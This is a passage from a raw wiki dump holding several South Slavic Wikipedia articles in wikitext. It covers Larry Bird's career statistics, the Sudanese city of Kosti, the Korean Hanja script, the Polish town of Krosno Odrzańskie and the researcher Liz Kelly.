.375 || .894 || 8.8 || 6.8 || 2.1 || 0.8 || 24.5 |- | style="text-align:left;"| [[1990.]] | style="text-align:left;"| [[Boston Celtics]] | 5 || 5 || 41.4 || .444 || .263 || .906 || 9.2 || '''8.8''' || 1.0 || 1.0 || 24.4 |- | style="text-align:left;"| [[1991.]] | style="text-align:left;"| [[Boston Celtics]] | 10 || 10 || 39.6 || .408 || .143 || .863 || 7.2 || 6.5 || 1.3 || 0.3 || 17.1 |- | style="text-align:left;"| [[1992.]] | style="text-align:left;"| [[Boston Celtics]] | 4 || 2 || 26.8 || .500 || .000 || .750 || 4.5 || 5.3 || 0.3 || 0.5 || 11.3 |- class=sortbottom | style="text-align:center;" colspan=2| '''Karijera'''<ref name="Larry Bird" /> | 164 || 162 || 42.0 || .472 || .321 || .890 || 10.3 || 6.5 || 1.8 || 0.9 || 23.8 |- {{S-end}} === Trenerska karijera === {| class="toccolours" style="font-size: 90%;" |- ! colspan="10" style="background-color: #F2F2F2; border: 1px solid #AAAAAA;"|Legenda |- | style="text-align:center;" colspan="2" |'''Regularna sezona''' | style="text-align:center;" colspan="2" |'''Playoff''' |- | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|U | Utakmica kao trener | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|PU | style="padding-right: 8px"|Utakmica u doigravanju |- | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|P | Broj pobjeda | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|PP | style="padding-right: 8px"|Broj pobjeda u doigravanju |- | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|I | Broj poraza | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|PI | Broj poraza u doigravanju |- | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|P–I % | Postotak pobjeda | style="background-color: #F2F2F2; border: 1px solid black; width:50px; text-align:center;"|PP–I % | Postotak pobjeda u doigravanju |} {| class="wikitable sortable collapsible " style="font-size:95%; text-align:right;" |- !Momčad !Godina ! data-sort-type="number" | U ! data-sort-type="number" | P ! data-sort-type="number" | I ! data-sort-type="number" | P&ndash;I% !Plasman ! data-sort-type="number" | PU ! data-sort-type="number" | PP ! data-sort-type="number" | PI ! data-sort-type="number" | PP&ndash;I% !Rezultat |- | style="text-align:left;"|[[Indiana Pacers]] | style="text-align:center;"|[[1997.]] |82||58||24||{{Winning percentage|58|24}}|| style="text-align:center;"|2. u Centralnoj||16||10||6||{{Winning percentage|10|6}} | style="text-align:center;"|Konf. finale |- | style="text-align:left;"|[[Indiana Pacers]] | style="text-align:center;"|[[1998.]] |50||33||17||{{Winning percentage|33|17}}|| style="text-align:center;"|1. u Centralnoj||13||9||4||{{Winning percentage|9|4}} | style="text-align:center;"|Konf. finale |- | style="text-align:left;"|[[Indiana Pacers]] | style="text-align:center;"|[[1999.]] |82||56||26||{{Winning percentage|56|26}}|| style="text-align:center;"|1. u Centralnoj||23||13||10||{{Winning percentage|13|10}} | style="text-align:center;"|[[NBA finale|Finale]] |- class="sortbottom" | style="text-align:left;" colspan="2"|'''Karijera''' |214||147||67||{{Winning percentage|147|67}}|| ||52||32||20||{{Winning percentage|32|20}} {{s-end}} == Reference == {{reflist|2}} == Literatura == * {{cite book |editor1-last=MacCambridge |editor1-first=Michael |year=1999 |title=ESPN SportsCentury |chapter=Larry Bird: Bird of Prey |location=New York |publisher=Hyperion-ESPN Books |isbn=978-0786864713 |pages=[https://archive.org/details/espnsportscentur00macc/page/253 253–254] |url-access=registration |url=https://archive.org/details/espnsportscentur00macc/page/253 }} * {{cite book |last=May |first=Peter |year=2007 |origyear=1994 |title=The Big Three: Larry Bird, Kevin McHale, and Robert Parish: The Best Frontcourt in the History of Basketball |url=https://books.google.com/books?id=6owRYSf9llMC#v=twopage&q&f=false |location=New York |publisher=Simon and Schuster |access-date=March 21, 2013 |isbn=978-1-4165-5207-9 |oclc=86221987}} == Vanjske veze == {{commonscat|Larry Bird}} * {{Basketballstats|nba_historical=larry_bird|bbr=b/birdla01}} * {{Basketballhof|larry-bird}} * [http://www.nba.com/history/players/bird_bio.html NBA profile] {{Indiana Pacers - treneri}} {{NBA draft 1978.}} {{NBA Novak godine}} {{NBA All-Star MVP}} {{NBA finale MVP}} {{NBA MVP}} {{Pobjednici NBA natjecanja u tricama}} {{Boston Celtics}} {{Sastav SAD košarka 1992 Turnir Amerika}} {{Sastav SAD košarkaši 1992 OI}} {{NBA Trener godine}} {{NBA Službenik godine}} {{NBA50}} {{NBA75}} {{Članovi Košarkaške kuće slavnih Naismith Memorial}} {{Sportaš godine Associated Pressa}} {{Authority control}} {{Izabran}} {{Životni vijek|1956||Bird, Larry}} [[Kategorija:Američki košarkaši]] [[Kategorija:Košarkaši Boston Celticsa]] [[Kategorija:Niska krila]] [[Kategorija:Krilni centri]] [[Kategorija:NBA prvaci (igrači)]] [[Kategorija:Američki košarkaški treneri]] [[Kategorija:Treneri Indiana Pacersa]] [[Kategorija:Američki olimpijci]] [[Kategorija:Košarkaši na Ljetnim olimpijskim igrama 1992.]] [[Kategorija:Olimpijski pobjednici u košarci (igrači)]] [[Kategorija:Članovi Košarkaške kuće slavnih Naismith Memorial]] [[Kategorija:Američki filmski glumci]] m362m9exxqtu2soe785waz4ig4j8rwn 0 4659827 42602569 42402952 2026-05-27T16:12:50Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602569 wikitext text/x-wiki {{Naselje | ime =Kosti | ime_genitiv =Kostija | izvorno_ime =كوستي | slika_panorama =Kosti_church1.jpg | opis_slike =[[Koptska pravoslavna crkva|Koptska]] [[crkva]] | slika_lokacijska_karta_država =Sudan | slika_lokacijska_karta_opis=Pozicija Kostija u Sudanu | nadimak = | širina-stupnjevi =13 | širina-minute =10 | širina-oznaka=N | dužina-stupnjevi =32 | dužina-minute =40 | dužina-oznaka=E | lokacija_ime =[[Popis država|Država]] | lokacija_info ={{flag|Sudan}} | lokacija1_ime =[[Sudanski vilajeti|Vilajet]] | lokacija1_info = [[Bijeli Nil (vilajet)|Bijeli Nil]] | lokacija2_ime = | lokacija2_info = | utemeljenje_ime = | utemeljenje_datum = | dijelovi = | vrsta_dijelova = | d1-d50 | vrsta_vlasti = | vlast_bilješke = | titula_vođe= | ime_vođe = | površina_bilješke = | površina_ukupna = | visina =380<ref name=city/> | visina_izvor = | visina_max = | visina_min = | stanovništvo_godina =[[2008]]. | stanovništvo_bilješke = | stanovništvo =213,080<ref name=city/> | stanovništvo_gustoća= | stanovništvo_uže = | stanovništvo_uže_gustoća = | stanovništvo_šire = | stanovništvo_šire_gustoća = | stanovništvo_prazno1_ime = | stanovništvo_prazno1 = | stanovništvo_gustoća_prazno1 = | stanovništvo_prazno2_ime = | stanovništvo_prazno2 = | stanovništvo_gustoća_prazno2 = | vremenska_zona =[[UTC+3]] | utc_pomak = | vremenska_zona_DST = | utc_pomak_DST = | poštanski_broj = | pozivni_broj = | gradovi_prijatelji = | web_stranica = }} '''Kosti''' ([[arapski jezik|arapski]]: كوستي/ Kūstī) je [[grad]] od 213,080 [[Stanovništvo|stanovnika]] na [[jug]]u [[Sudan]]a u [[Bijeli Nil (vilajet)|Vilajetu Bijeli Nil]].<ref name=city>{{cite web | url =http://www.citypopulation.de/en/sudan/ | title =''Sudan'' | accessdate =6.9. 2020. | language=engleski | publisher=City population}}</ref> == Geografija == Kosti leži na [[zapad]]noj [[obala|obali]] [[Bijeli Nil|Bijelog Nila]], udaljen 105 [[km]] [[jug|južno]] od [[Ed Dueim]]a.<ref name=brit/> Na suprotnoj [[istok|istočnoj]] [[obala|obali]], leži [[glavni grad|administrativni centar]] [[Bijeli Nil (vilajet)|Vilajeta]] [[Rabak]] (9 [[km]]) sa kojim je povezan [[most|cestovnim]] i [[most|željezničkim mostom]]. Kosti je važno [[cesta|cestovno]] [[raskršće]] i [[luka]], povezan [[željeznička pruga|željezničkom prugom]] sa [[El Obeid]]om.<ref name=brit>{{cite web |url=https://www.britannica.com/place/Kusti-Sudan |title = ''Kūstī'' |publisher =Encyclopaedia Britannica |language =engleski |accessdate = 6.9.2020.}}</ref> == Historija == [[datoteka:مسجد_الكون_-_الجزيرة_أبا.jpg|thumb|left|240px|[[Džamija]] na [[Muhamed Ahmed|Mahdijevom]] [[otok]]u Aba]] Kosti je nastao krajem [[19. vijek]]a, nakon poraza [[Muhamed Ahmed|Mahdija]], u vrijeme [[Ujedinjeno Kraljevstvo Velike Britanije i Irske|anglo]] - [[Egipatski Kedivat|egipatskog]] [[kondominijum]]a Sudan, kad se tu naselio [[Grci|grčki]] [[trgovac]] Konstantinos ''Kostas'' Murikis. Uz njegov dućan izrastao je današnji grad. [[Trgovac|Trgovci]] iz Kostija spuštali su se [[Bijeli Nil|rijekom]] na jug, sve do [[Malakal]]a i [[Džuba|Džube]].<ref name=lex/> [[Sjever]]no od Kostija nalazi se [[otok]] Aba na kom je [[Muhamed Ahmed|Mahdi]] počeo propovijedati i širiti svoj politički utjecaj.<ref name=lex>{{cite web |url=http://looklex.com/e.o/kusti.htm |title=''Kusti'' |publisher=LookLex |language=engleski |accessdate=6.09. 2020. |archivedate=2020-06-24 |archiveurl=https://web.archive.org/web/20200624232522/http://looklex.com/e.o/kusti.htm |deadurl=yes }}</ref> == Privreda i obrazovanje== Kosti je [[trgovina|trgovački]] centar [[poljoprivreda|poljoprivrednog]] kraja, i grad [[laka industrija|lake industrije]].<ref name=brit/> Na periferiji grada nalazi se najveća sudanska [[termoelektrana]] - Um Dabakir, snage 500 [[Vat|MW]].<ref name=rab>{{cite web |url=https://www.dabangasudan.org/en/all-news/article/rabak-largest-power-station-in-sudan-empty-hospital |title = ''Power station'' |publisher =Dabanga Sudan |language =engleski |accessdate = 6.9.2020.}}</ref> Kosti od [[1994]]. ima državni [[univerzitet]] ''Imam Mahdi'' sa 6 [[fakultet]]a.<ref name=unig>{{cite web |url=https://www.4icu.org/reviews/10996.htm |title = ''University Overview'' |publisher =University of El Imam El Mahdi |language =engleski |accessdate = 6.9.2020.}}</ref> Od [[2017]]. ima i privatni ''[[Univerzitet]] Bijeli Nil'', koji je izrastao iz [[koledž]]a osnovanog [[1999]].<ref name=uni>{{cite web |url = http://www.wnu.edu.sd/ab_en.php?ab=MQ== |title = ''University History'' |publisher = White Nile University |language = engleski |accessdate = 6.9.2020. |archive-date = 2020-02-19 |archive-url = https://web.archive.org/web/20200219132449/http://www.wnu.edu.sd/ab_en.php?ab=MQ== |url-status = dead }}</ref> == Reference == {{reflist}} == Vanjske veze== {{Commonscat|Kosti, Sudan}} * [https://www.britannica.com/place/Kusti-Sudan ''Kūstī''] {{en icon}} [[Kategorija:Gradovi u Sudanu]] pbtfrerhvpsrpyoyh9d9dhzjw3dy6sg 0 4662482 42602714 41029165 2026-05-28T11:10:55Z SimplyFreddie 127796 umesto preusmerenja ubačen članak, sa hrwiki 42602714 wikitext text/x-wiki [[Datoteka:Hanja.svg|mini|Riječ hanja napisana hanjom (gore) i hangulom (dolje)]] '''Hanja''' (»handža«, [[hangul]]: 한자, hanja: 漢字) naziv je za posebne znakove [[Kinesko pismo|kineskog pisma]] koji se koriste za zapisivanje [[Korejski jezik|korejskog jezika]].<ref>{{Citiranje knjige |last=Coulmas |first=Florian |url=https://archive.org/details/writingsystemsof0000coul |title=The writing systems of the world |publisher=Wiley-Blackwell |year=1991 |isbn=978-0-631-18028-9 |location=Oxford |page=[https://archive.org/details/writingsystemsof0000coul/page/116 116] |url-access=registration}}</ref> Hanja ({{Jez-kor|한자어}}, 漢字語) koristi se za pisanje [[sino-korejski]]h riječi, odnosno korejskih riječi kineskog podrijetla, dok se hanmun ({{Jez-kor|한문}}, 漢文) koristi za pisanje [[Literarni kineski|literarnog kineskog]]. Znakovi hanje nisu prolazili kroz reforme pisanja i bliski su [[Tradicionalno kinesko pismo|tradicionalnom kineskom pismu]]. Mali broj znakova hanje je izmijenjen ili jedinstven korejskom jeziku, za razliku od modernog, [[Pojednostavljeno kinesko pismo|pojednostavljenog pisma]] koje se koristi u [[Kina|Kini]], [[Malezija|Maleziji]] i [[Singapur|Singapuru]]. == Povijest == Iako je [[Sejong Veliki]] 1466. godine proglasio [[hangul]] službenim pismom, nije ušao u široku službenu upotrebu sve do kraja 19. i početka 20. stoljeća.<ref>{{Citiranje weba |title=알고 싶은 한글 |url=http://www.korean.go.kr/hangeul/setting/002.html |access-date=22. ožujka 2018. |website=국립국어원 |publisher=National Institute of Korean Language |archive-date=18. veljače 2020. |archive-url=https://web.archive.org/web/20200218134258/https://www.korean.go.kr/hangeul/setting/002.html |url-status=dead }}</ref><ref name="fischer">{{Citiranje knjige |last=Fischer |first=Stephen Roger |url=https://books.google.com/books?id=Ywo0M9OpbXoC&pg=PA189 |title=A History of Writing |date=2004-04-04 |publisher=Reaktion Books |isbn=1-86189-101-6 |series=Globalities |location=London |pages=189–194 |access-date=2009-04-03}}</ref> Dotada je bilo potrebno tečno čitati i pisati hanjom. Dokumenti na korejskom jeziku, uključujući povijesne zapise i književnost, pisani su do suvremenog razdoblja u prvom redu na [[Literarni kineski|kineskom književnog jeziku]] koristeći hanju kao pismo. Dobro radno poznavanje kineskih znakova još uvijek je važno za svakoga tko želi proučavati stare tekstove iz Koreje. Iskustvo s hanjom također je korisno za razumijevanje [[Etimologija|etimologije]] sino-korejskih riječi kao i za proširenje korejskog vokabulara.<ref name="BAS">{{Citiranje knjige |last=Byon |first=Andrew Sangpil |url=https://books.google.com/books?id=QP8nDwAAQBAJ&q=sino-korean+words&pg=PA4 |title=Modern Korean Grammar: A Practical Guide |publisher=Taylor & Francis |year=2017 |isbn=978-1351741293 |pages=3–18}}</ref> Hanja se u prošlosti koristila za pisanje izvorno korejskih riječi, ali od 20. stoljeća [[Korejci]] koriste hanju samo za pisanje sino-korejskih riječi, dok se izvorne korejske riječi i [[posuđenice]] iz drugih jezika pišu [[hangul]]om. Prema ''Rječniku standardnog korejskog jezika'' koji je objavio Nacionalni institut za korejski jezik (NIKL), približno polovica (50 %) korejskih riječi su sino-korejske, uglavnom u akademskim područjima (znanost, vlada i društvo).<ref>{{Citiranje knjige |last=Choo |first=Miho |url=https://books.google.com/books?id=psO_Oli22m8C&q=sino-korean+words&pg=PR9 |title=Handbook of Korean Vocabulary: An Approach to Word Recognition and Comprehension |last2=O'Grady |first2=William |publisher=University of Hawaii Press |year=1996 |isbn=0824818156 |pages=ix}}</ref> Drugi rječnici, kao što je ''Urimal Keun Sajeon'', tvrde da bi ovaj broj mogao biti bliži 30 %.<ref>{{Citiranje weba|title=사전소개 {{!}} 겨레말큰사전남북공동편찬사업회|url=https://www.gyeoremal.or.kr/gyeore/intro.php|access-date=2022-11-23|website=www.gyeoremal.or.kr|language=ko}}</ref><ref>{{Citiranje weba |date=2009-09-11 |title=우리말 70%가 한자말? 일제가 왜곡한 거라네 |url=https://www.hani.co.kr/arti/culture/book/376204.html |access-date=2022-11-23 |website=www.hani.co.kr |language=ko}}</ref> == Obrazovanje == === Južna Koreja === U [[Južna Koreja|Južnoj Koreji]] podučavanje hanje počinje u 7. razredu i nastavlja se do završetka srednje škole u 12. razredu. Uči se ukupno 1800 hanja znakova, 900 do 10. razreda i 900 nakon 10. razreda.<ref>Hannas, William C. (1997). Asia's Orthographic Dilemma. Honolulu: University of Hawaii Press. ISBN 0-8248-1842-3., str. 71. "A balance was struck in August 1976, when the Ministry of Education agreed to keep Chinese characters out of the elementary schools and teach the 1,800 characters in special courses, not as part of Korean language or any other substantive curricula. This is where things stand at present"</ref> === Sjeverna Koreja === [[Sjeverna Koreja]] od 1969. godine podučava učenike 5. do 8. razreda 1500 znakova hanje, s dodatnih 500 znakova za srednjoškolce.<ref>Hannas, William C. (1997). Asia's Orthographic Dilemma. Honolulu: University of Hawaii Press. ISBN 0-8248-1842-3., str. 67. "Between 1968 and 1969, a four-volume textbook appeared for use in grades 5 through 9 designed to teach 1,500 characters, confirming the applicability of the new policy to the general student population. Another five hundred were added for grades 10 through 12 (Yi Yun-p'yo 1989: 372)."</ref> Na višim stupnjevima obrazovanja ovaj broj raste na ukupno 3000.<ref>Hannas, William C. (2003). The Writing on the Wall: How Asian Orthography Curbs Creativity. Philadelphia: University of Pennsylvania Press. ISBN 0-8122-3711-0., str. 188–189</ref> == Povezani članci == * [[hangul]] * [[korejski jezik]] == Izvori == {{Izvori}} [[Kategorija:Južna Koreja]] [[Kategorija:Sjeverna Koreja]] rxxx03375cmgt3sjkp0ffslyrdlztdi 0 4664449 42602582 42343271 2026-05-27T17:46:41Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602582 wikitext text/x-wiki {{Naselje | ime =Krosno Odrzańskie | ime_genitiv =Krosno Odrzańskog | izvorno_ime = | slika_panorama =Krosno_Odrzańskie_004,_Polen.jpg | veličina_slike =280px | opis_slike=[[Panorama]] grada iz zraka | slika_lokacijska_karta_država =Poljska | slika_lokacijska_karta_opis=Pozicija Krosno Odrzańskog u Poljskoj | nadimak = | širina-stupnjevi =52 | širina-minute =2 | širina-oznaka =N | dužina-stupnjevi =15 | dužina-minute =6 | dužina-oznaka =E | lokacija_ime =[[Popis država|Država]] | lokacija_info ={{flag|Poljska}} | lokacija1_ime =[[Vojvodstva Poljske|Vojvodstvo]] | lokacija1_info =[[Lubusko vojvodstvo|Lubusko]] | lokacija2_ime =[[Povjat]] | lokacija2_info =Krosno Odrzańskie | lokacija3_ime = | lokacija3_info = | utemeljenje_ime = | utemeljenje_datum = | dijelovi = | vrsta_dijelova = | d1-d50 | vrsta_vlasti = | vlast_bilješke = | titula_vođe=[[gradonačelnik]] | ime_vođe=Marek Cebula | stranka_vođe = | površina_bilješke = | površina_ukupna=8.15 [[km²]]<ref name=city/> | visina = | visina_izvor= | visina_max =85 | visina_min=38 | stanovništvo_godina =[[2019]]. | stanovništvo_bilješke = | stanovništvo=11,238<ref name=city/> | stanovništvo_gustoća =1,379 stan. / [[km²]]<ref name=city/> | stanovništvo_uže= | stanovništvo_uže_gustoća = | stanovništvo_šire = | stanovništvo_šire_gustoća = | stanovništvo_prazno1_ime = | stanovništvo_prazno1 = | stanovništvo_gustoća_prazno1 = | stanovništvo_prazno2_ime = | stanovništvo_prazno2 = | stanovništvo_gustoća_prazno2 = | vremenska_zona =[[UTC+1]] | utc_pomak =+2 | vremenska_zona_DST = | utc_pomak_DST = | poštanski_broj =66-600 do 66-603 | pozivni_broj =68 | gradovi_prijatelji = | web_stranica = }} '''Krosno Odrzańskie''' ([[njemački jezik|njemački]]: ''Crossen an der Oder'') je [[grad]] od 11,238 [[Stanovništvo|stanovnika]]<ref name=city>{{cite web | url =https://www.citypopulation.de/en/poland/dolnoslaskie/ | title =''Poland: Dolnoslaskie'' | accessdate =5.02. 2021. | language=engleski | publisher=City population}}</ref> na [[zapad]]u [[Poljska|Poljske]] u [[Lubusko vojvodstvo|Lubuskom vojvodstvu]]. == Geografija == Krosno Odrzańskie leži na [[ušće|ušću]] [[rijeka|rijeke]] [[Bobr (Odra)|Bobr]] u [[Odra|Odru]], pored [[njemačka|njemačke]] [[granica|granice]]. [[datoteka:Zamek_w_Krośnie_Odrzańskim_-_panoramio.jpg|thumb|left|240px|[[Zamak]]]] == Historija == Najstariji pisani zapis o Krosnu je iz [[1005]]. iz [[kronika|kronike]] [[Thietmar od Merseburga|Thietmara od Merseburga]] u kojoj on govori o neuspjelom pokušaju [[Popis njemačkih kraljeva i njemačko-rimskih careva#Otonska dinastija|svetorimskog cara]] [[Heinrich II Sveti|Heinricha II Svetog]] da zauzme [[fortifikacija|utvrdu]] [[popis poljskih vladara|poljskog vojvode]] [[Bolesław I Hrabri|Bolesława Hrabrog]] na [[Odra|Odri]].<ref name=pol/> Još od vremena vladavine prvih [[Pjastovići|Pjastovića]] Krosno se moralo braniti od [[Nijemci|njemačke]] [[invazija|invazije]]. Svjestan [[strategija|strateškog]] značenja mjesta tadašnji [[Popis poljskih vladara|Seniorski vojvoda Poljske]] [[Henrik I. Bradati]] je u prvoj polovici [[13. vijek]]a, odabrao Krosno kao jednu od svojih najvažnijih [[rezidencija]] i dodadatno utvrdio njegov [[zamak]]. On je Krosnom i dao [[gradska prava]] negdje između [[1217]].-[[1232]].<ref name=pol/> Od kraja [[15. vijek]]a kad je umro posljednji [[Pjastovići|pjastovski]] [[vojvoda]] od [[Głogów]]a Henryk XI, Krosnom vladaju [[Markgrofovija Brandenburg|brandenburški]] [[markgrof]]ovi. Takvo stanje vladalo je do [[20. februar]]a [[1945]]. kad je ponovno [[Poljska|Poljski]].<ref name=pol>{{cite web |url=https://www.krosnoodrzanskie.pl/turystyka/historia-i-zabytki |title =History |publisher =Krosno Odrzańskie |language =engleski |accessdate =5.02. 2021}}</ref> == Pobratimski gradovi == Krosno Odrzańskie ima [[ugovor]]e o partnerstvu sa slijedećim gradovima;<ref name=par>{{cite web |url =https://www.krosnoodrzanskie.pl/samorzad/wspolpraca-zagraniczna/charakterystyka-miast-partnerskich |title =Partner towns of the Commune of Krosno Odrzańskie |publisher =Krosno Odrzańskie |language =engleski |accessdate =5.02. 2021 |archive-date =2021-03-03 |archive-url =https://web.archive.org/web/20210303233408/https://krosnoodrzanskie.pl/samorzad/wspolpraca-zagraniczna/charakterystyka-miast-partnerskich |url-status =dead }}</ref> * {{flagicon|Nizozemska}} [[Eemsmond]], [[Nizozemska]] ([[2000]].) * {{flagicon|Njemačka}} [[Schwarzheide]], [[Njemačka]] ([[2001]]) * {{flagicon|Njemačka}} [[Bremervörde]], [[Njemačka]] ([[2005]]) * {{flagicon|Mađarska}} [[Karcag]], [[Mađarska]] ([[2005]].) * {{flagicon|Danska}} [[Dragsholm]], [[Danska]] == Izvori == {{izvori}} == Vanjske veze == {{Commonscat|Krosno Odrzańskie}} * [https://www.krosnoodrzanskie.pl/ ''Krosno Odrzańskie'' (službene stranice)] {{pl icon}} [[Kategorija:Gradovi u Poljskoj]] fth7vs0o0bcbgffeuvg3wpwaqlnrp4i 0 4669206 42602680 42554905 2026-05-28T06:16:43Z InternetArchiveBot 155863 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9.5 42602680 wikitext text/x-wiki '''Elizabeth A. Kelly''' CBE (rođena 1951.)<ref name="VIAF_1">{{Cite web|title=Kelly, Liz, 1951–|url=https://viaf.org/viaf/29771133/|access-date=30 September 2015|publisher=[[Virtual International Authority File|Virtual International Authority File (VIAF)]]}}</ref> je britanska profesorica i ravnateljica Jedinice za proučavanje zlostavljanja djece i žena (Child and Woman Abuse Studies Unit - CWASU) na Sveučilištu London Metropolitan,<ref>{{Cite web|title=Liz Kelly|url=https://metranet.londonmet.ac.uk/research-units/hrsj/staff-and-associates/liz-kelly.cfm|url-status=dead|archive-url=https://archive.today/20140319143647/https://metranet.londonmet.ac.uk/research-units/hrsj/staff-and-associates/liz-kelly.cfm|archive-date=19 March 2014|access-date=30 September 2015|publisher=[[London Metropolitan University#Faculties and schools|Child and Woman Abuse Studies Unit (CWASU), London Metropolitan University]]|accessdate=2021-09-25|archivedate=2014-03-19|archiveurl=https://archive.today/20140319143647/https://metranet.londonmet.ac.uk/research-units/hrsj/staff-and-associates/liz-kelly.cfm}}</ref> bivša voditeljica, sada ugašene, Nacionalne komisije za žene,<ref>{{Cite web|title=Professor Liz Kelly CBE|url=http://wnc.equalities.gov.uk/about-wnc/wnc-commissioners/commissioners-biographies/272-professor-liz-kelly-cbe.html|access-date=30 September 2015|publisher=[[Women's National Commission]]|accessdate=2021-09-25|archivedate=2016-10-19|archiveurl=https://web.archive.org/web/20161019001914/http://wnc.equalities.gov.uk/about-wnc/wnc-commissioners/commissioners-biographies/272-professor-liz-kelly-cbe.html}}</ref> i zajedno s Marai Larasi predsjedava Koalicijom za okončanje nasilja nad ženama.<ref name="Chair">{{Cite web|title=Our people: our board of trustees|url=http://www.endviolenceagainstwomen.org.uk/our-people|access-date=6 October 2015|publisher=[[End Violence Against Women Coalition]]|accessdate=2021-09-25|archivedate=2015-12-09|archiveurl=https://web.archive.org/web/20151209232126/http://www.endviolenceagainstwomen.org.uk/our-people}}</ref> == Karijera == Liz Kelly je napisala brojne radove i članke o nasilju nad ženama i djecom te je bila gostujuća urednica časopisa ''Child Abuse Review''.<ref>{{Citiranje časopisa|last=Kelly|first=Liz (guest editor)|last2=Pringle|first2=Keith (guest editor)|date=November 2009|title=Editorial: Gender and child harm|journal=Child Abuse Review|volume=18|issue=6|pages=367–371|doi=10.1002/car.1097}}</ref> U njenom pregledu istraživanja za Crown Prosecution Service Inspectorate u kojem se bavila pitanjem zašto toliko navodnih silovatelja nije kazneno gonjeno ili nisu osuđeni, navodi "da u svakoj fazi pravnog procesa stereotipi i predrasude igraju ulogu u donošenju odluka".<ref>{{Citiranje novina|last=Baird|first=Vera|date=10 April 2002|title=You've been raped. Why bother reporting it?|work=[[The Guardian]]|url=https://www.theguardian.com/world/2002/apr/10/law.socialsciences1|access-date=30 September 2015}}</ref><ref>{{Cite book|last=Kelly|first=Liz|title=Routes to (in)justice: a research review on the reporting, investigation and prosecution of rape cases|date=October 2001|publisher=[[Crown Prosecution Service#Inspection|HM Crown Prosecution Service Inspectorate (HMCPSI)]]|location=London|page=6|oclc=224119621}} Literature review. [http://www.justiceinspectorates.gov.uk/cjji/wp-content/uploads/sites/2/2014/04/Rapelitrev.pdf Pdf.]{{Dead link|date=April 2025 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> U svojoj knjizi "The Hidden Gender of Law" Kelly tvrdi "ne postoji jasna razlika između sporazumnog seksa i silovanja, već kontinuitet pritiska, prijetnji, prisile i sile". Tvrdi da su sve žene u nekim trenucima svog života dožive seksualno nasilje.<ref>{{Cite book|last=Messerschmidt|first=James W.|url=https://books.google.com/books?id=xo0gTQg5oi8C&pg=PA44|title=Masculinities and Crime: Critique and Reconceptualization of Theory|date=27 September 1993|publisher=Rowman & Littlefield|isbn=9780847678693|via=Google Books}}</ref> U svojoj knjizi "Preživjeti seksualno nasilje" (Surviving Sexual Violence) Liz Kelly definira seksualno nasilje kao "svaki fizički, vizualni, verbalni ili seksualni čin koji žena ili djevojka doživi u to vrijeme ili kasnije, kao prijetnju, invaziju ili napad, koji ima učinak povrijediti je ili degradirati i/ili joj oduzeti sposobnost kontrole". Takvu je definiciju kritizirala Wendy McElroy, opisujući je kao "katastrofalno subjektivnu", uz napomenu da "žaljenje nije mjerilo pristanka".<ref>{{Cite book|last=McElroy|first=Wendy|url=https://books.google.com/books?id=BiEP-j9rh8AC&q=Sexual+violence+includes+any+physical%2C+visual%2C+verbal+or+sexual+act+that+is+experienced+by+the+woman+or+girl%2C+at+the+time+or+later&pg=PA31|title=Sexual Correctness: The Gender-Feminist Attack on Women|date=1 January 2001|publisher=McFarland|isbn=9780786411443|via=Google Books}}</ref> Liz Kelly je nagrađena Redom Britanskog Carstva (CBE), za usluge u borbi protiv nasilja nad ženama i djecom. == Bibliografija == === Knjige === * Kelly, Liz (2008.). ''Preživjeti Seksualno nasilje.'' Kruzak: Ženska soba, Centar za seksualna prava. <nowiki>{{ISBN|9789536463749}}</nowiki>. * {{Cite book|last=Kelly|first=Elizabeth|title=Surviving sexual abuse|publisher=Gore & Osment|year=1995|isbn=9781875531783|series=Health Books Series|location=Rushcutters Bay, New South Wales}} * {{Cite book|last=Kelly|first=Elizabeth A.|url=https://archive.org/details/educationdemocra0000kell|title=Education, democracy, and public knowledge|publisher=Westview Press|year=1995|isbn=9780813316345|location=Boulder Colorado|url-access=registration}} * {{Cite book|last=Liz|first=Kelly|title=Women, violence, and male power: feminist activism, research, and practice|last2=Hester|first2=Marianne|last3=Radford|first3=Jill|publisher=Open University Press|year=1996|isbn=9780335195060|location=Buckingham Philadelphia}} * {{Cite book|last=Liz|first=Kelly|title=Supporting women and challenging men: lessons from the Domestic Violence Intervention Project|last2=Burton|first2=Sheila|last3=Regan|first3=Linda|publisher=Policy Press|year=1998|isbn=9781861340689|location=Bristol}} * {{Cite book|last=Liz|first=Kelly|title=Challenging violence against women: the Canadian experience|url=https://archive.org/details/challengingviole0000hagu|last2=Hague|first2=Gill|last3=Mullender|first3=Audrey|publisher=Policy Press|year=2001|isbn=9781861342782|location=Bristol, UK|author-link3=Audrey Mullender}} * {{Cite book|last=Liz|first5=Umme|location=London|isbn=9780761971061|year=2002|publisher=[[Sage Publications|Sage]]|first6=Ellen|last6=Malos|last5=Imam|first=Kelly|first4=Gill|last4=Hague|first3=Linda|last3=Regan|first2=Audrey|last2=Mullender|title=Children's perspectives on domestic violence|url=https://archive.org/details/childrensperspec0000unse|author-link2=Audrey Mullender}} * {{Cite book|last=Liz|first=Kelly|title=Moving in the shadows: violence in the lives of minority women and children|last2=Rehman|first2=Yasmin|last3=Siddiqui|first3=Hannana|publisher=Ashgate|year=2013|isbn=9781409433170|location=Farnham, Surrey Burlington, Vermont}} === Poglavlja u knjigama === * {{Citation|last=Kelly|first=Liz|contribution=How women define their experiences of violence|editor1=Yllö|title=Feminist perspectives on wife abuse|pages=[https://archive.org/details/feminis_xxx_1988_00_9940/page/114 114–132]|publisher=[[Sage Publications|A Sage Focus Edition]]|place=Newbury Park, California|year=1988|isbn=9780803930537|postscript=.|url=https://archive.org/details/feminis_xxx_1988_00_9940/page/114}} * {{Citation|last=Kelly|first=Liz|last2=Regan|first2=Linda|last3=Burton|first3=Sheila|contribution=Defending the indefensible? Quantitative methods and feminist research|editor1=Phoenix|title=Working out: New directions for women's studies|pages=149–160|publisher=The Falmer Press|series=Gender and Society: Feminist Perspectives on Past and Present|place=London Washington, D.C|year=1992|isbn=9780750700436|postscript=.}} 